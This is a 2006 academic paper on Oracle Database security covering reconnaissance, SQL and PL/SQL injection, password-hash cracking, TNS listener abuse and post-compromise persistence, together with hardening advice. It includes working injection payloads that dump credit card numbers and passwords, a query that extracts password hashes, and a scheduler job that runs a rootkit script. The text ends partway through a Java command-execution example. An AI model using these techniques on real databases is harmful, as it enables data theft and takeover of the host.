

Oracle Database: a Security Perspective

Henrique Moniz

Faculdade de Ciências da Universidade de Lisboa

Campo Grande, 1749-016 Lisboa – Portugal

`hmoniz@di.fc.ul.pt`

January 23, 2006

Abstract

As the Web gains more and more importance on modern business, the databases are coming closer to the network perimeter, being subject to an ever-increasing risk of attack. This paper presents a security perspective on the Oracle Database, the most massive Remote Database Management System in existence, by discussing reconnaissance techniques, several attack vectors, possible ways an attacker can fortify its position in a compromised database, and two imaginary real-world attacks.

1 Introduction

From the early days of computer networks and their inception into corporate environments, the database has always assumed an important place in organizations. Its role is to store, manage, and provide access to the collective knowledge of any organization. Financial transactions, bank statements, medical records, credit card information, insurance policies, trade secrets, etc. Chances are that all of these things are stored in any modern Remote Database Management System (RDBMS).

Prior to the advent of the Internet, corporate networks were islands with nonexistent, or very limited, communication between them. The only people capable of accessing databases were qualified employees. The level of threat to which these systems were exposed was very reduced.

Databases have been progressively changing their face, from being deeply entrenched into a corporate network, covered by layers of obscure business logic, they are coming ever closer

to the network perimeter, as the Web takes notorious importance on business. With this trend, it comes as no surprise to an attentive observer that some major data leaks have made headlines in the past few years. The Privacy Rights Clearinghouse organization maintains a chronology of electronic data breaches [2]. Since February 2005 there have been more than 52 million personal accounts compromised as a result of weak database security, and these are only the cases that became public. The stolen information included medical records, credit cards, human resources data, social security numbers, and resulted in other crimes such as identity theft, misuse of usernames and passwords, and credit card fraud.

The Oracle Database is simply the most massive RDBMS product existent today [5]. It is used worldwide by every possible type of organization. It is very likely that some corporation, government, or institution is storing our personal information in an Oracle database.

The recent evolution of the Oracle Database is symptomatic of the increasing connectivity of modern RDBMSs. The gap between databases and attackers is narrowing at a great pace. The consequences of a compromised database are potentially catastrophic for any organization who relies on the availability and, most important, integrity of its information.

The 1999 release of Oracle *8i* marked a shift in the product's orientation (with *i* standing for Internet) towards an heterogeneous connected environment by incorporating a Java Virtual Machine in the RDBMS. The following year brought the Oracle9*i* Application Server (AS), providing a middleware layer that allows thin clients (like web browsers) to access the database [4]. In the core of the AS is the Apache HTTP Server and the OC4J which is used for the deployment of J2EE applications. Finally, the most recent release of Oracle Database (Oracle 10g) featured a marketing campaign stressing the grid-computing features of the product.

The Oracle Database is a massive product. As such, this paper focuses only on its core components and features. It is meant to give the reader an overview of Oracle security, albeit a technical one, by discussing reconnaissance techniques, the most common avenues of attack against the Oracle Database, and the possible ways an attacker can fortify its position in a compromised database. Additionally, it chronicles two imaginary real-world attacks with the intent to illustrate the fact that a database does not exist in the void, but it is subject to an

hostile environment - with complex computer-computer, human-computer, and human-human interactions - where attacks may come from the most unexpected places. The principles and techniques presented apply up to the most recent Oracle Database release (10g), except where noted.

The rest of the paper is organized as follows. Section 2 summarizes the relevant Oracle Database components and features, given the context of the paper. Section 3 presents reconnaissance techniques for finding and obtaining useful information about Oracle databases. In Section 4, the most common attack vectors against Oracle are presented. Section 5 describes possible abuses an attacker can do after a successful intrusion. Two imaginary real-world scenarios where Oracle Databases are subject to attack are portrayed in Section 6. Finally, Section 7 concludes the paper.

2 Oracle Components and Features

This section provides an overview of the components and features of Oracle Database that will receive our attention for the rest of the paper.

Instance vs. Database

When understanding the Oracle Database product, one important aspect to consider is the difference between *database* and *instance*.

The term database usually pertains to the physical storage of data. It refers to the files on the hard drive that contain the information that is managed by the Oracle RDBMS. Those are: datafiles, where the actual data is stored; redo log files, which store changes made to the database; and control files, that contain the information necessary to make sense of the physical structure of the database.

An instance refers to a running execution of the Oracle RDBMS. It is the collection of background processes and memory buffers responsible for all the operations performed over the database. One instance can connect to only one database, whilst one database can be accessed

by multiple instances.

The ultimate goal of an attacker is the database, the instance is just something that stands in the way. The instance is what mediates the access to the database, hence it is vital that its implementation and configuration enforce the necessary security mechanisms for the correct protection of data.

PL/SQL

One of the best known features of Oracle is PL/SQL: an embedded procedural language. Its main goal is to extend the functionality of basic SQL, giving the ability to combine it with procedural constructs. All PL/SQL procedures and functions are stored on the RDBMS and executed there. Additionally, Oracle provides a vast array of PL/SQL packages that implement all sorts of useful functions.

TNS Listener

A security-wise important component of Oracle is the TNS listener [3]. All remote connections to Oracle are made through this component. It sits on a well-known TCP port (usually 1521) waiting for connection requests, when a request arrives the listener sets up a connection between the client and the instance, and steps out of the way. The client then proceeds to authenticate directly to the database.

The TNS listener is the database entry point. Its protection and proper configuration should be of concern to a security-conscious administrator.

Application Server

The Oracle Database can be deployed as a client/server architecture and, since the release of Oracle 9i Application Server, as a multi-tier architecture. This came to enable thin clients such as web browsers to access the database through the application server which is responsible for all business logic.

The Oracle AS is, basically, an HTTP server based on the open-source Apache server, some Oracle-specific modules, a Java virtual machine, and a PL/SQL engine.

3 Reconnaissance

The first step an attacker must take is to find any targets for attack. Once a potential target is found, the next goal is to gather the maximum amount of information about it, so the proper attack vector(s) can be delineated.

The best way to find a Oracle database server is to test TCP ports that are usually bind to the main network entry points of an Oracle database server: the TNS listener, and the Application Server. There are additional peripheral components of Oracle that listen on well-known TCP ports that, if open, may indicate the presence of an Oracle database.

3.1 TNS Listener

The TNS listener runs by default on port 1521, but this can change depending on the set of services running. Common ports for the TNS listener are 1520-1530, 2100, 2481, 2482, 8080, and 9090.

Once a TNS listener is found, it can be used to infer a lot of useful information to an attacker, such as the Oracle Database version, the opened databases, the set of services available, and the host Operating System.

Oracle provides a command line utility for listener control that can be used to access this information. The `version` command can be used to easily obtain the Oracle Database version:

```
$ lsnrctl
LSNRCTL> set current_listener 10.10.2.20
LSNRCTL> version
Connecting to (DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=10.10.2.20)(PORT=1521)))
TNSLSNR for Linux: Version 9.2.0.1.0 - Production
  TNS for Linux: Version 9.2.0.1.0 - Production
  Unix Domain Socket IPC NT Protocol Adaptor for Linux: Version 9.2.0.1.0
    - Production
  Oracle Bequeath NT Protocol Adapter for Linux: Version 9.2.0.1.0 -
```

```
Production
TCP/IP NT Protocol Adapter for Linux: Version 9.2.0.1.0 - Production
The command completed successfully
```

The status command can be used to infer the available database services:

```
$ lsnrctl
LSNRCTL> set current_listener 10.10.2.20
LSNRCTL> status
Connecting to (DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=10.10.2.20)(PORT=1521)))
STATUS of the LISTENER
-----
Alias LISTENER
Version TNSLSNR for Linux: Version 9.2.0.1.0 - Production
Start Date 28-DEC-2005 18:12:34
Uptime 6 days 12 hr. 56 min. 16 sec
Trace Level off
Security OFF
SNMP OFF
Listener Parameter File /u01/app/oracle/product/9.2.0/network/admin/listener.ora
Listener Log File /u01/app/oracle/product/9.2.0/network/log/listener.log
Listening Endpoints Summary...
(DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=localhost)(PORT=1521)))
(DESCRIPTION=(ADDRESS=(PROTOCOL=ipc)(KEY=EXTPROC)))
(DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=10.10.2.20)(PORT=8080))
(Presentation=HTTP)(Session=RAW))
(DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=10.10.2.20)(PORT=2100))
(Presentation=FTP)(Session=RAW))
Services Summary...
Service "PLSExtProc" has 1 instance(s).
Instance "PLSExtProc", status UNKNOWN, has 1 handler(s) for this service...
Service "ORAHACK" has 2 instance(s).
Instance "ORAHACK", status UNKNOWN, has 1 handler(s) for this service...
Instance "ORAHACK", status READY, has 2 handler(s) for this service...
Service "TEST" has 1 instance(s).
Instance "TEST", status READY, has 1 handler(s) for this service...
The command completed successfully
```

It can be seen that, in addition to the listener, the database can be accessed via the HTTP (port 8080) and the FTP (port 2100) protocols, and there are two database services: one with a SID of ORAHACK, and another with a SID of TEST. Note that these commands work even if the access to the listener is password-protected.

3.2 Application Server

The Oracle Application Server is based on the Apache HTTP Server. It runs by default on port 7777, but it is not uncommon to be running on other ports such as 80, 81, 8080, etc.

The easiest way to determine if a given HTTP server is an Oracle AS is to issue any HTTP request and analyze the HTTP headers in the response:

```
$ telnet ora.example.com 7777
$ HEAD / HTTP/1.0

HTTP/1.1 200 OK
Date: Thu, 10 Jan 2006 01:54:34 GMT
Last-Modified: Wed, 25 Apr 2005 12:43:56 GMT
ETag: "0-343-3e784990"
Accept-Ranges: bytes
X-Pad: avoid browser bug
Server: Oracle9iAS/9.0.2 Oracle HTTP Server Oracle9iAS-Web-Cache/9.0.2.0.0 (N)
Content-Length: 835
Content-Type: text/html
Connection: Close
```

This is what a typical response from an Oracle AS looks like. The `Server` field in the response tells that it is indeed an Oracle 9i Application Server. It even indicates which version.

3.3 Search Engine Reconnaissance

A rising trend since Oracle launched the Application Server is to use search engines to locate Oracle databases [19]. The technique is to use web search engines to search for common terms in default Oracle Application Server installations such as default words in pages, usual HTML file names, or even common URLs.

For instance, using Google to search for the exact phrase "isqlplus release", returns a number of sites presenting a login/password form that gives access to executing SQL commands on an Oracle database. Many of these let everyone login using one of the default username/password pairs (see Figures 1 and 2).

Even if these databases are just 'lying around' and serve no useful purpose (for example, they could just be forgotten test installs), they present a soft attack vector into the private network, and can be used as stepping stones for much more damaging attacks.

[Query regarding iSQL*Plus](#)

Win 50% Discount. Get Lucky! Participate in Whizlabs Certification Forums and WIN a 50% Discount on any Whizlabs Exam Simulator of your choice ...

[...](#) - 30k - Supplemental Result - [Cached](#) - [Similar pages](#)

[Query regarding iSQL*Plus](#)

Simply Diabolic. (WhizKid). 05/05/04 10:16 AM. Query regarding iSQL*Plus: Hello I have installed Oracle 9i on my computer. I understand ...

[...](#) - 13k - Supplemental Result - [Cached](#) - [Similar pages](#)

[[More results from www.whizlabs.com](#)]

[Bookmarks for Minsoo Lee](#)

<http-www.zend.com-zend-art-intro.php> - [iSQLPlus Release 9.0.1 - Log In](#) - Oracle Documentation - Oracle How do you delete duplicate rows - Oracle SQL ...

[...](#) - 19k - [Cached](#) - [Similar pages](#)

[iSQL*Plus Release 9.2.0.1.0 Production: Login](#)

Login. Username: Password: Connection Identifier: MIS380.

[...](#) - 3k - Supplemental Result - [Cached](#) - [Similar pages](#)

[Link...](#)

Web Page: ...

[...](#) - 51k - Supplemental Result - [Cached](#) - [Similar pages](#)

Try your search again on [Google Book Search](#)

Google
Result Page: 1 2 [Next](#)

Free! Get the Google Toolbar. [Download Now](#) - [About Toolbar](#)

Google Search PageRank Check AutoLink AutoFill Options Highlight

Figure 1: Results for a Google search for the string 'iSQLplus release'. The highlighted link is iSQLPlus login form.

ORACLE
iSQL*Plus

Help

Login

* Indicates required field

* Username

* Password

Connect Identifier

Help

Copyright (c) 2005, Oracle. All rights reserved.

Figure 2: iSQLPlus login form. Many of these provide access with default usernames and passwords.

4 Attack Vectors

4.1 Misconfiguration

Even in its simplest form, without many options installed, the Oracle Database has an enormous footprint. There are entire books dedicated to the subject of proper security-conscious Oracle administration [13, 15, 21]. Its correct configuration and maintenance is a complex task that usually requires full-time dedicated employees and, sometimes, highly paid external consultants.

When it comes to Oracle (in)security, never mind buffer overflows or SQL injection, because incompetent administration is probably the biggest problem. An out-of-the-box default installation of Oracle is a disaster waiting to happen and it is unreasonable to expect from someone not a full-time database administrator with strong Oracle skills to properly secure the database.

While many checklists for securing Oracle exist, they are usually too technical and follow a recipe approach, failing to stimulate a higher-level planning by the reader [1, 3, 6, 11]. Properly securing the database involves a series of high-level steps, namely:

Protect the Operating System. The first level of defense of a database is the Operating System in which the RDBMS runs and the datafiles are stored. If the OS is compromised then everything else falls apart since, from there, access to the database, with full-blown privileges, becomes a trivial task. There is nothing more ironic than having a expensive consultant to properly configure an Oracle database (and doing a good job at it), but having a negligent systems administrator to set up, at the host that Oracle runs, some orthogonal daemon vulnerable to a vanilla exploit.

Additionally, it is a good principle to implement external mechanisms that enforce the integrity of both the RDBMS code, and the configuration files.

Define who can do what. At the core of proper Oracle administration is access control. Clear and unambiguous definition of whose users have access to what objects, and its correct

implementation is probably the most important step towards a secure database. It is also a complex task, especially for large organizations. Even if an excellent access control policy is in place at the database's inception, structural changes, which are common during a database lifetime, may completely brake the, until then, perfectly good access control rules, leaving sensitive data exposed to unauthorized eyes.

An out-of-the-box Oracle installation has several default accounts that may reach the dozens depending on the packages installed. Some of those are privileged accounts with Database Administrator (DBA) rights.

A first step should be to get rid of all superfluous accounts (but care must be taken since some of those default account are vital to Oracle operation) and make sure the remaining are set up with strong passwords instead of the default ones. Always keep in mind that brute force login attempts, and off-line password cracking are real possibilities.

Access control in Oracle is defined by *privileges*, and *roles*.

A privilege is the right to perform a certain action on the database such as the ability to perform queries, put rows into tables or views, create new tables, shutdown the database, etc. Many privileges also have a scope, meaning that the privilege to perform a certain action may apply to the entire database or may be limited to a subset of tables, or views.

A role is a set of privileges. Oracle has some privileges created by default, but a DBA has full control over which roles exist in the system and the set of privileges they contain. It is also possible to define a hierarchy of roles, in which a role includes the set of privileges of all lower-class roles.

Privileges and roles provide all the necessary mechanisms so that the principle of least privilege is applied to an Oracle database. Users should be granted the possible minimum of privileges necessary to perform their job responsibilities. A correct implementation of this principle mitigates the impact of potential account compromises, locking a malicious user to a limited set of privileges.

Starting with version 8.1.5, the Oracle Enterprise Database supports a feature called *row*

level security which enables a more fine-grained access control, up to the row level [12]. This mechanism should receive serious consideration by the DBA, especially in web-enabled environments. It allows the protection of individual rows in a table. It does so by appending a *where* clause in SQL statements, thus limiting the scope of affected rows.

Imagine a web site that stores credit card information about their costumers, and lets them perform a set of operations over this information, such as view, add, delete, and change credit card. The information about all credit cards is stored in a table. Without row level security, any costumer has access to the entire table. It is up to the middleware (e.g., a PHP script) to provide the necessary business logic that limits the costumer to only his personal information. Hence, a failure in the middleware (think SQL injection) may leave the entire credit card table in the hands of an ill-intentioned user. With row level security properly in place, it doesn't matter if the middleware is controlled by a malicious user, since he his constrained, at the RDBMS level, to only his personal information.

Patch. Patching is essential to keep the RDBMS resilient against new vulnerabilities. Oracle provides critical patch updates via MetaLink - their support portal - on a quarterly basis [14]. They feel the regular scheduling provides a good balance between the cost of applying patches and the risk of being exposed to new threats. Vulnerabilities, however, are of different degrees of severity and having to wait up to 3 months for a extremely critical patch may prove to be of great cost to certain organizations. In the most severe cases, means the whole database must be taken off-line because having the system not operating at all is preferable to being subject to a potential attack.

Enforce backup confidentiality and integrity. One of the most overlooked aspects of a secure database is the protection of backups. An attacker will always strike where the weakest link is. Without backup confidentiality and proper physical access control, nothing keeps an attacker from accessing the backed up data. Without backup integrity, nothing keeps an attacker from tampering with the most recent backup and forcing a database crash so the data is restored from the tampered backup, possibly even if the data is encrypted.

These properties must be enforced outside of Oracle since it does not provide the necessary mechanisms.

Always look at the big picture. Databases are suffering from the same syndrome that plagued cryptosystems for many years. Unfortunately, as a great cryptographic algorithm is not guaranteed to secure any complex system, a sound RDBMS security is not sufficient per se. No matter how secure the database is, the whole environment in which the database exists must be taken into consideration. This means that:

- Data communications must be encrypted, preferably from end-to-end. The communication with the TNS listener is not encrypted by default. There is no point in protecting the database when credit cards can be sniffed by anyone who has access to the network. In a worst-case scenario, it can be as dramatic as having a sophisticated hacker to replicate the entire content of the database by just analyzing the network traffic.
- The compromising of an application must have only a minimal impact on database security. The principle of least privilege also applies to applications that access the database, meaning they must be only allowed to login to the database using a minimal set of privileges.
- Existing middleware should not be trusted. Many database designs rely on the good behavior of the underlying middleware, leaving them completely vulnerable to catastrophic consequences when an attacker controls it. The access control policy should always take this possibility into account. The, previously mentioned, row level security is the example of a good step into this direction.

4.2 SQL Injection

SQL injection is probably the most popular technique used for database intrusion. It is usually caused by inefficient input validation at the middleware layer (e.g., a javascript web page) [20, 8]. As an example of SQL injection, consider the following code from a PHP script.

```
$query = "select age from costumers where user='" . $username . "'  
        and pass='" . $password . "'";  
$s = OCIParse($database, $query);  
OCIExecute($database, OCI_DEFAULT);
```

The script takes as input the variables `$username` and `$password` with no input validation whatsoever, constructs an SQL query using the input variables, and executes the statement by calling `OCIExecute()`.

Now, imagine that an attacker provides the following input string through the variable `$password`.

```
mypass' union select credit_card_no from costumers where 'a' = 'a'
```

This would result in the following `$query` string.

```
select age from costumers where user='adam' and pass='mypass'  
union select credit_card_no from costumers where 'a' = 'a'
```

By providing a carefully crafted input, the attacker has just successfully retrieved the credit card numbers from all the costumers. The `UNION` keyword allows for a user to combine the results of two different SQL queries together as long as all the corresponding columns are of the same data type. The `WHERE` clause is to cope with the trailing `'` in the `$query` variable.

SQL injection is often regarded as a middleware vulnerability, however, this is hardly true. Oracle, in particular, is potentially vulnerable to SQL injection through PL/SQL, a server-based procedural extension to SQL. PL/SQL is an integral part of Oracle, and it is used to create stored procedures used in the database business logic. The procedures reside in the database and are executed in the RDBMS when invoked.

By default, a PL/SQL procedure is executed with the privileges of the user that defined the procedure. This means that if `SYSDBA`, who has full privileges over the database, defines a procedure `ADD_CC`, when user `JIMBO` calls the procedure, it is executed with `SYSDBA` privileges. Consequently, if the procedure is vulnerable to SQL injection, it allows for `JIMBO`

to gain control of the RDBMS. Whenever possible, a procedure must be declared to execute with invoker privileges by using the AUTHID CURRENT_USER keyword.

Consider the following example of a PL/SQL procedure.

```
CREATE OR REPLACE PROCEDURE VIEW_PURCHASES(USERNAME VARCHAR2,
                                           PASSWORD VARCHAR2)

  CP REF CURSOR;
  OID NUMBER;
  PN VARCHAR2(100);
  PP NUMBER;
BEGIN
  DBMS_OUTPUT.ENABLE(1000000);
  OPEN CP FOR 'SELECT ORDER_ID, PRODUCT_NAME, PRODUCT_PRICE
              FROM ORDERS WHERE COSTUMER = ''' || USERNAME || '''
              AND PASSWORD = ''' || PASSWORD || ''' AND
              ORDER_STATUS='''COMPLETED''';

  LOOP
    FETCH CP INTO OID,PN,PP;
    DBMS_OUTPUT.PUT_LINE('ORDER ID: ' || OID || ' PRODUCT: ' || PN ||
                        'PRICE: ' || PP);
    EXIT WHEN CP%NOTFOUND;
  END LOOP;
  CLOSE CP;
END;
```

This procedure lists all completed purchases from a specific customer. It is indeed vulnerable to SQL injection, and serves to illustrate the basic techniques used in PL/SQL injection.

One possible way is to inject '-' in strategic places. The two minus signs are used to indicate comments in PL/SQL code making everything that follows them to be ignored. Executing the procedure as follows has the effect of bypassing the password protection.

```
EXEC SYS.VIEW_PURCHASES('JIMBO'--, 'WHOCARES');
```

The actual executed query becomes:

```
SELECT ORDER_ID, PRODUCT_NAME, PRODUCT_PRICE FROM ORDERS
WHERE COSTUMER = 'JIMBO'-- AND PASSWORD = 'WHOCARES'
AND ORDER_STATUS='COMPLETED'
```

Just remember that everything from the two minus signs and on is treated as a comment and, therefore, is ignored.

As hinted in the beginning of this section, another technique is to perform UNION selects.

For instance:

```
EXEC SYS.VIEW_PURCHASES(  
  'JIMBO',  
  'WHOCARES'' UNION SELECT CC,COSTUMER,CC FROM COSTUMERS--'  
);
```

This transforms the original query to:

```
SELECT ORDER_ID, PRODUCT_NAME, PRODUCT_PRICE FROM ORDERS  
WHERE COSTUMER = 'JIMBO' AND PASSWORD = 'WHOCARES' UNION  
SELECT CC,COSTUMER,CC FROM COSTUMERS-- AND ORDER_STATUS='COMPLETED'
```

Allowing the attacker to have access to all customer usernames and respective credit card numbers.

When the attacker has the possibility to create procedures, it gains great flexibility in PL/SQL injection attacks. The method is simple: the attacker creates a function that performs the malicious operation, and injects it into a vulnerable procedure. Suppose an attacker wants to use SQL injection in order to view the usernames and the respective passwords (both of type VARCHAR2) from the COSTUMERS table. The UNION SELECT would not work because the column types do not match. The attacker then creates the following function:

```
CREATE OR REPLACE PROCEDURE AUTHID CURRENT_USER SNOOP_PASSWORDS  
C REF CURSOR;  
USER VARCHAR2(100);  
PASS VARCHAR2(100);  
BEGIN  
  DBMS_OUTPUT.ENABLE(1000000);  
  OPEN C FOR 'SELECT USERNAME,PASSWORD FROM COSTUMERS';  
  LOOP  
    FETCH C INTO USER,PASS;  
    DBMS_OUTPUT.PUT_LINE(USER || ' ' || PASS);  
    EXIT WHEN CP%NOTFOUND;  
  END LOOP;  
  CLOSE C;  
  RETURN 'BLAH';  
END;
```

This lists all the username and password of all costumers. Notice that the procedure is created the AUTHID CURRENT_USER keyword. We want the procedure to be executed with invoker privileges since it will be invoked from inside a vulnerable procedure (with definer privileges), and we want it to retain its privileges. Otherwise, the malicious procedure would be executed with the attacker privileges which would be useless. The final step is to inject the malicious procedure inside a vulnerable procedure. Using the same procedure VIEW_COSTUMERS from the example above:

```
EXEC SYS.VIEW_PURCHASES('JIMBO', ' || SCOTT.SNOOP_PASSWORDS--');
```

USERNAME	PASSWORD
-----	-----
ADRIAANSE	TRIP
BENTO	KORTTY
KOEMAN	LUUSER
JIMBO	KUWEIT
PESEIRO	QATAR
SCOLARI	HEROI_DA_NACAO

Voilà! These examples demonstrate the threat of SQL injection and, in particular, PL/SQL injection. Techniques for detection of SQL injection do exist [17, 9], however, trying to enumerate all possible SQL injection expressions is a futile exercise that provides a false sense of security. Nevertheless, the disciplined enforcement of a few principles can greatly reduce this threat:

- Sanitize input at the various layers. Clearly define the pattern of input that can be entered, and have functions to check if the pattern is valid at every possible layer. For instance, suppose you have a web page with a PHP script that accepts some input, and uses the input as a parameter to a PL/SQL procedure. The input should be checked both at the PHP script and at the PL/SQL procedure. In many cases, a simple function that makes sure that there are only alphanumeric characters in the input is sufficient. Do not waste time sanitizing the input in an environment in which the attacker has absolute control. For example, a javascript function to check for input entered at some web page form is completely useless and gives a false sense of security.

- Correctly apply the principle of least privilege discussed in Section 4.1. Even if a brilliant attacker manages to bypass the sanitization functions, and inject SQL code, a database with a sound enforcement of the principle of least privilege renders the attack useless because it cannot access data that it is not authorized to.

As a final note, since release 8i, the Oracle Database includes a Java Virtual Machine, allowing the use of the Java programming language pretty much like PL/SQL is used. The techniques that apply to PL/SQL can be applied to Java with just minor adjustments.

4.3 Brute-force

Oracle hashes user passwords and stores them in a table called SYS.USER\$. While the access to this table and associated views is often limited to DBA users, there are ways to obtain the password hashes: sniffing plain-text network traffic, having local filesystem access, using SQL injection, or exploiting any undocumented feature (i.e., bug) that allows for reading the password hashes.

The following command gives a list of the database users and the respective password hashes:

```
SQL> select name,password from SYS.USER$;
```

NAME	PASSWORD
-----	-----
SYS	8A8F025737A9097A
PUBLIC	
CONNECT	
RESOURCE	
DBA	
SYSTEM	2D594E86F93B17A1
(...)	
SCOTT	41AD62F4CCE60D3A

63 lines selected.

```
SQL>
```

The users with no password hash are the ones that cannot login remotely. The hashing algorithm used to calculate the 16-byte hashes is purposely undocumented by Oracle. Nevertheless, the algorithm has been reverse engineered and is described in [24] as follows:

1. Concatenate the username and the password to produce a plaintext string.
2. Convert the plaintext string to uppercase.
3. Convert the plaintext string to multi-byte storage format (ASCII characters have the most significant byte set to zero).
4. Encrypt the plaintext string using the DES algorithm in cipher block chaining (CBC) mode with a fixed key value of 0x0123456789ABCDEF.
5. Encrypt again using the last block of output of the previous encryption as the encryption key. The last block of output is converted to a string of hexadecimal characters to produce the password hash.

This knowledge has led to the development of a number of off-line Oracle password crackers. The most prominent of those is *orabf*, capable of performing dictionary and brute-force attacks against a `<username , password hash>` pair [22]. The username is required since it is used in the computation of the password hash.

Conveniently, the algorithm converts the password to uppercase characters before hashing. This has the effect of wasting what would be valuable entropy, significantly reducing the search space. A typical alphanumeric password with upper and lowercase characters with length d would have a total number of 62^d possible combinations. In Oracle, alphanumeric and alphabetic passwords have a search space of 36^d and 26^d possible combinations, respectively.

Tests performed with the *orabf* tool with a Pentium 4 with 2.8 GHz of clock speed and 512 MB of RAM showed a throughput of approximately 1.2 Million alphanumeric passwords per second. Making a rough estimation, in a machine of similar power, it would take at most 30 minutes to brute-force a 6-character alphanumeric password, 18 hours for a 7-character password, and 27 days for a 8-character password.

So, unless there is a strong password policy implemented, chances are that, given a list of password hashes with reasonable size, some passwords are going to be compromised if an attacker gains access to the list.

4.4 TNS Listener

The TNS listener is probably the most abused component of Oracle [7]. It is present at the network perimeter and it is, in some circumstances, the only entry point to an Oracle database. Additionally, it is not configured by default to provide password protection, nor encrypted communication with the client. As we have seen in Section 3, even if properly secured, the listener provides to anyone more information than a conscious DBA is willing to give away. Definitely, the listener was not a component designed with security in mind.

Securing the TNS listener is a critical step to securing the database. In a properly configured database, the listener is likely to be the only component exposed to remote attacks, either directly, or indirectly via an application server (Oracle or not).

The listener control program `lsnrctl` allows for the remote management of the listener. When a password is not set on the listener, this allows for a plethora of abuse, both of the database and the host operating system, only limited to the attacker's imagination.

The following are a list of commands available by default to anyone who connects to the listener:

```
LSNRCTL> set current_listener 10.10.2.20
Current Listener is 10.10.2.20
LSNRCTL> help
The following operations are available
An asterisk (*) denotes a modifier or extended command:

start          stop          status
services      version      reload
save_config   trace       spawn
change_password  quit       exit
set*          show*
```

Besides the information that the listener leaks via the `version`, `services`, and `status`

commands, there are a lot of malicious actions that can be executed from within an unprotected listener:

- The `change_password` command changes the listener password and locks out legitimate DBAs from controlling the listener.
- The `set log_file` and `set trc_file` commands create a log file at an arbitrary location as long as that location is writable by the listener process owner. The listener usually is executed as the oracle user, allowing an attacker, for example, to overwrite arbitrary database files.
- The `stop` command stops the listener, making the database inaccessible through the network. A similar attack can also be issued using `set startup_waittime`. This command defines an arbitrary delay for the listener startup. A very high value can be set so the listener takes an unpractical amount of time to start.

As stated before, the communication with the listener is not encrypted by default. Actually, encrypting listener traffic requires solutions outside of the Oracle feature set, such as SSL or generic SSH tunneling. It comes as no surprise that managing the listener remotely represents a great security risk. For an attacker with the capacity of sniffing the network, it becomes a trivial task to catch the listener password. Take the example where a DBA connects remotely to a password-protected listener and inputs the password so it can execute some administrative commands:

```
LSNRCTL> set current_listener 10.10.2.20
Current Listener is 10.10.2.20
LSNRCTL> set password
Password:
The command completed successfully
LSNRCTL> services

<...output of services command...>

The command completed successfully
LSNRCTL>
```

The request for the `services` command would appear on the wire as follows:

```
0000  00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00 .....E.
0010  01 17 37 69 40 00 40 06 ea 3c 0a 0a 02 14 0a 0a ..7i@.@.<.....
0020  02 14 cc 51 05 f1 9e 10 97 1d 9e 03 5d c0 80 18 ...Q.....]...
0030  7f ff 0b 4a 00 00 01 01 08 0a 00 89 a0 7b 00 89 ...J.....{..
0040  a0 7b 00 e3 00 00 01 00 00 00 01 38 01 2c 00 00 .{.....8.,...
0050  08 00 7f ff 7f 08 00 00 01 00 00 a9 00 3a 00 00 .....:..
0060  07 f8 0c 0c 00 00 00 00 00 00 00 00 00 00 14 14 .....
0070  00 01 a3 d4 00 00 00 00 00 00 00 00 28 44 45 53 .....(DES
0080  43 52 49 50 54 49 4f 4e 3d 28 43 4f 4e 4e 45 43 CRIPTION=(CONNEC
0090  54 5f 44 41 54 41 3d 28 43 49 44 3d 28 50 52 4f T_DATA=(CID=(PRO
00a0  47 52 41 4d 3d 29 28 48 4f 53 54 3d 61 6a 65 63 GRAM=)(HOST=ajec
00b0  74 33 29 28 55 53 45 52 3d 6f 72 61 63 6c 65 29 t3)(USER=oracle)
00c0  29 28 43 4f 4d 4d 41 4e 44 3d 73 65 72 76 69 63 )(COMMAND=servic
00d0  65 73 29 28 41 52 47 55 4d 45 4e 54 53 3d 36 34 es)(ARGUMENTS=64
00e0  29 28 50 41 53 53 57 4f 52 44 3d 30 31 41 43 44 )(PASSWORD=01ACD
00f0  33 36 37 45 34 42 36 44 33 41 33 29 28 53 45 52 367E4B6D3A3)(SER
0100  56 49 43 45 3d 31 30 2e 31 30 2e 32 2e 32 30 29 VICE=10.10.2.20)
0110  28 56 45 52 53 49 4f 4e 3d 31 35 33 30 39 32 33 (VERSION=1530923
0120  35 32 29 29 29                                     52))
```

By looking at this network dump, it can be seen that a password hash is sent along with the command. This authenticates the command and, apparently, protects the password by sending only its hash. However, this hash is the same on every command. It is not generated based on any kind of nonce or challenge-response algorithm, it is solely generated based on the actual password, and knowledge of the hash is sufficient to authenticate with the listener and execute any kind of command.

Securing the listener means setting a listener password and strictly forbid remote administration via the `lsnrctl` command. All configuration changes should be made directly to the configuration files or using the `lsnrctl` command locally. Alternatively, an SSH tunnel (or equivalent) may be set up to make remote listener administration possible. It may also be a good idea to turn on logging via the `set log_*` commands.

5 Position Holding

An aspect seldom, if ever, mentioned in Oracle security literature is the possible actions an attacker can do after a database is compromised. Once an attacker has gained full control of

the database, likely by obtaining DBA status, the next natural step is to fortify his position by taking the necessary actions to easily access, both the database and the host operating system, in the future (e.g., planting a backdoor). So, when reaching this stage, the attacker normally has two options: (a) break out of the Oracle RDBMS environment to reach the OS realm; or (b) solely rely on the richness provided by the RDBMS environment.

If the attacker wishes to expand the attack further down the network, then option (a) is probably the best choice. As much as rich the Oracle environment is, notwithstanding a few specific cases, only the OS provides the necessary flexibility to escalate the attack. Otherwise, if the attacker's ultimate goal is the database, then option (b) may be sufficient and likely to generate less noise.

Reaching the OS

Breaking out of the Oracle environment is usually a trivial task since there are a number of ways to execute OS commands from within Oracle. The two most direct ways of doing it are through the DBMS_SCHEDULER package, and through JAVA [16].

The DBMS_SCHEDULER package, introduced in Oracle 10g, gives users the capacity to run scheduled jobs. The type of jobs allowed to run include anonymous PL/SQL blocks, stored procedures, and, interestingly, external executables. Running an OS command using this method involves two steps: creating the job, and running the job:

```
-- create the job
BEGIN
  dbms_scheduler.create_job(job_name      => 'evilcmd',
                           job_type      => 'executable',
                           job_action    => '/tmp/rootkit.sh',
                           enabled       => TRUE,
                           auto_drop     => TRUE);
END;
/
-- run the job
exec dbms_scheduler_run_job('evilcmd');
```

The `job_type` parameter is set to `executable` to indicate it is an external command, and the `job_action` is the location of the command's file in the OS.

Another way to run OS commands is through Java, which is an integral part of into Oracle. The first step is to create a Java class containing a method which calls the Java `exec()` function:

```
CREATE OR REPLACE AND RESOLVE JAVA SOURCE "CMD" AS
import java.lang.*;
import java.io.*;
public class CMD {
    public static void execCmd(String command) throws IOException {
